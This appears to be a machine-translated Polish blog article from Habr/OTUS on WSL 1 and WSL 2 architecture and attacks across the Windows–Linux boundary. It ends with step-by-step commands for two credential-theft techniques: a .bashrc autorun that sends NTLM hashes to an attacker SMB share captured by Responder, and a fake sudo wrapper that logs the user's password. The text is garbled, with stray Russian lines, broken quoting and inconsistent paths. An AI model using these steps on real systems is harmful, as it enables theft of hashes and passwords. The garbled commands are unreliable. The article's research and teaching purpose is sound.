Witaj, Habro! W październiku OTUS uruchamia nowy strumień kursów . W oczekiwaniu na rozpoczęcie kursu udostępniamy Państwu artykuł napisany przez jednego z naszych nauczycieli, Aleksandra Kolesnikowa.
W 2016 roku Microsoft wprowadził do społeczności IT nową technologię WSL (Windows Spodsystem dla Linux), co w przyszłości umożliwiło zjednoczenie nie do pogodzenia dotychczasowych konkurentów, walczących o popularność zarówno wśród zwykłych, jak i zaawansowanych użytkowników systemów operacyjnych: Windows i Linux. Technologia ta umożliwiła korzystanie z narzędzi systemu operacyjnego Linux w środowisku Windows bez konieczności uruchamiania systemu Linux, na przykład przy użyciu funkcji Multi-boot. Na Habr można znaleźć dużą liczbę artykułów opisujących korzyści płynące z używania WSL. Niestety, w momencie tworzenia tego artykułu nie znaleziono na tym zasobie żadnych badań dotyczących bezpieczeństwa takiej symbiozy systemów operacyjnych. Ten post będzie próbą skorygowania tego. W artykule omówione zostaną cechy architektur WSL 1 i 2 oraz przeanalizujemy kilka przykładów ataków na systemy wykorzystujące te technologie. Artykuł podzielony jest na 2 części. W pierwszej zostaną przedstawione główne teoretyczne metody ataku z systemów Linux i Windows. Drugi artykuł będzie dotyczył skonfigurowania środowiska testowego i odtworzenia ataków.
WSL 1: cechy architektoniczne
Aby jak najdokładniej zagłębić się w kwestie bezpieczeństwa WSL, konieczne jest określenie głównych niuansów związanych z realizacją podsystemu. Jednym z głównych zadań użytkownika rozwiązywanych przez WSL jest możliwość pracy za pośrednictwem terminala Linux na hoście z systemem operacyjnym Windows. Ponadto oferowana kompatybilność była tak natywna, że pliki wykonywalne systemu Linux (ELF) można było uruchamiać bezpośrednio w systemie Windows. Aby osiągnąć te cele, w Windows 10 stworzono specjalny podsystem, który pozwala na uruchamianie aplikacji linuksowych przy pomocy zestawu określonych wywołań systemowych - podjęto więc próbę zmapowania zestawu wywołań systemowych Linuksa na Windows. Zostało to fizycznie zaimplementowane poprzez dodanie nowych sterowników i nowego formatu procesu. Wizualnie architektura wyglądała tak:
W rzeczywistości interakcja z systemem operacyjnym Linux została zorganizowana za pomocą kilku modułów jądra i specjalnego rodzaju procesu - pico. Z powyższego diagramu widać, że proces działający na instancji Linuksa na hoście musi być natywny i musi korzystać z tych samych zasobów, co zwykłe aplikacje Windows. Ale jak to osiągnąć? W projekcie Opracowano koncepcje procesów dla systemu Windows, które zapewniły wszystkie niezbędne komponenty systemu operacyjnego (w zależności od jego wersji) do uruchomienia aplikacji innego systemu operacyjnego.
Należy zauważyć, że proponowana abstrakcja pozwoliła nie skupiać się na systemie operacyjnym (w szczególności Windows), w którym ma zostać uruchomiony proces innego systemu operacyjnego, i zasugerowała podejście ogólne.
Zatem dowolna aplikacja w procesie pico może działać bez względu na jądro systemu Windows:
- Problemy kompatybilności i tłumaczenia wywołań systemowych muszą być rozwiązywane przez specjalnych dostawców;
- Kontrola dostępu musi odbywać się poprzez Monitor Bezpieczeństwa. Monitor znajduje się w jądrze, dlatego Windows potrzebował aktualizacji w postaci nowego sterownika, który mógłby pełnić rolę dostawcy takich procesów. Prototypowy proces pico przedstawiono schematycznie poniżej:
Ponieważ system plików Linuksa używa nazw plików i katalogów, w których rozróżniana jest wielkość liter, do systemu Windows dodano 2 typy systemów plików do współpracy z WSL - VolFS i DriveFS. VolFS jest implementacją systemu plików Linux, DriveFS to system plików działający zgodnie z regułami systemu Windows, ale ma możliwość wyboru rozróżniania wielkości liter.
WSL 2
WSL 1 miał szereg ograniczeń, które nie pozwalały na wykorzystanie go do rozwiązania maksymalnego zakresu zadań: na przykład nie miał możliwości uruchamiania 32-bitowych aplikacji Linux i nie było możliwości korzystania ze sterowników urządzeń. Dlatego w 2020 roku wydano wersję WSL 2, która zmieniła podejście do budowy podsystemu. WSL 2 to zoptymalizowana maszyna wirtualna, która odpowiada charakterystyce zużycia zasobów WSL 1. Teraz, w zależności od problemów rozwiązanych przez użytkownika systemu Windows, możesz wybrać wymaganą wersję podsystemu Linux. Aby złagodzić możliwe luki, zaimplementowano WSL 2 w oparciu o Hyper-V w Windows 10. W tej formie Windows ma możliwość uruchamiania jądra systemu operacyjnego Linux w izolacji. Warto pamiętać, że wersja 1 WSL została wprowadzona jako funkcja beta, która miała pokazać kierunek rozwoju Windowsa w tym obszarze, więc przejście na Hyper-V było nieuniknione. Ostateczna architektura wygląda następująco:
W tej wersji jądra Windows i Linux mają własne zasoby, a przecięcie istnieje tylko w systemie plików, ale to skrzyżowanie nie jest kompletne. Interakcja między systemami plików odbywa się poprzez opakowanie klient-serwer, które działa przy użyciu protokołu 9P.
Dziś Microsoft zapewnia możliwość przełączania pomiędzy WSL 1 i WSL 2. Obie wersje są dostępne do użytku.
Bezpieczeństwo WSL
W tej chwili istnieje kilka prac opisujących pewne podejścia do wykorzystania legalnych narzędzi systemu operacyjnego do ataku na komunikację pomiędzy podsystemami. W chwili pisania tego tekstu użyjemy ich skryptów, aby sprawdzić znaczenie ataków. Ogólna lista ataków i scenariuszy:
1. Implementacja systemu plików: prawa dostępu, dostępność współdzielonych katalogów/mechanizmy wymiany danych.
Przeprowadzono badania mające na celu stwierdzenie naruszeń zasad dostępu od Linux FS->Windows FS, Windows FS->Linux FS. Badania wykazały możliwość modyfikacji danego pliku w docelowym systemie operacyjnym. Podejmowano także próby podstawiania, tworzenia duplikatów i usuwania części systemów plików.
Scenariusz:
- A. Atak ze strony systemu operacyjnego Windows - modyfikacja plików z katalogu /etc systemu operacyjnego Linux.
- B. Atak z systemu operacyjnego Linux - modyfikacja plików w katalogach:
C:Windows,C:Program Files,C:Users<User>
2. Implementacja stosu sieciowego.
Badanie przeprowadzono na przykładach ataków z systemu operacyjnego Linux na Windows. Wykorzystano cechy stosu sieciowego, czyli mechanizmy uwierzytelniania na różnych zasobach.
Scenariusz:
- Otwieranie dostępu do portu zajętego w systemie Windows
- Otwarcie portu bez odpowiednich uprawnień
- Uruchamianie powłoki odwrotnej przy użyciu pliku elf w systemie operacyjnym Windows.
3. Ukrywanie uruchamiania procesów złośliwego oprogramowania za pomocą podsystemu WSL.
Badanie opierało się na prostym fakcie – podsystemy bezpieczeństwa nie mogą przechwytywać zdarzeń w innym jądrze, które w przypadku WSL 1 pracuje na legalnym dostawcy z systemu operacyjnego. W przypadku WSL 2 nie ma możliwości podglądu zachodzących zdarzeń w oddzielnym jądrze w lekkiej maszynie wirtualnej.
Scenariusz:
1) Uruchom aplikację umożliwiającą zdalny dostęp do systemu i przeglądaj zarejestrowane zdarzenia.
Eksperymenty WSL 1: przechwytywanie skrótu (Windows)
W końcu dotarliśmy do części praktycznej. Najpierw musisz skonfigurować środowisko testowe. Wszystkie eksperymenty zostaną przeprowadzone na stanowisku badawczym z zainstalowanym systemem Windows 10 2004. Jako obraz systemu operacyjnego dla WSL wybrano obraz Ubuntu 18.04. Obraz został wybrany losowo, każdy inny będzie działał tak samo. Komendy do ustawienia stoiska:
Najpierw musisz uruchomić powershell.exe jako administrator.
W przypadku WSL 1 musisz uruchomić polecenia:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Po ponownym uruchomieniu stojaka możesz wywołać polecenie bash. Jeśli wszystko działało poprawnie, w konsoli Windows zobaczysz dane wyjściowe podobne do tego:
Jako maszynę atakującego wykorzystamy dystrybucję Kali Linux; wszystkie maszyny muszą znajdować się w tej samej sieci lokalnej.
Załóżmy, że mamy nieuprzywilejowany dostęp do WSL na komputerze z systemem Windows. Spróbujmy zaatakować system operacyjny Linux, wywołując polecenie z Linuksa. Do realizacji ataku użyjemy prostej techniki autorun - dodamy nasz skrypt do wykonania w środowisku Linux. Aby to zrobić, musisz zmienić plik .bashrc.
Na maszynie z WSL wykonujemy:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitNa komputerze Kali Linux uruchamiamy:
1. Responder -I eth0 -rdvwNa komputerze z systemem Windows uruchommy bash.
Czekamy na wynik na komputerze Kali Linux:
W ten sposób uzyskaliśmy skróty użytkowników systemu Windows za pośrednictwem podsystemu WSL, wykonując polecenie w systemie Linux.
Eksperymenty WSL 1: uzyskiwanie hasła użytkownika (system operacyjny Linux)
Zróbmy jeszcze jeden eksperyment. Podczas tej kontroli dodamy do pliku .bashrc kilka poleceń, aby uzyskać hasło użytkownika systemu operacyjnego Linux.
Uruchommy bash i wprowadźmy polecenia:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Aby pomyślnie zakończyć atak, użytkownik Sam musi wywołać sudo na terminalu Linux. Następnie hasło użytkownika systemu operacyjnego Linux będzie znajdować się w pliku pass.txt:
Realizację ataków podano wyłącznie w celach teoretycznych.
W dalszej części artykułu zostanie opisana implementacja protokołu 9P, rozważymy stworzenie skanera dla tego protokołu, a także przeprowadzimy atak z jego wykorzystaniem.
Lista wykorzystanej literatury
Czytaj więcej
Źródło: www.habr.com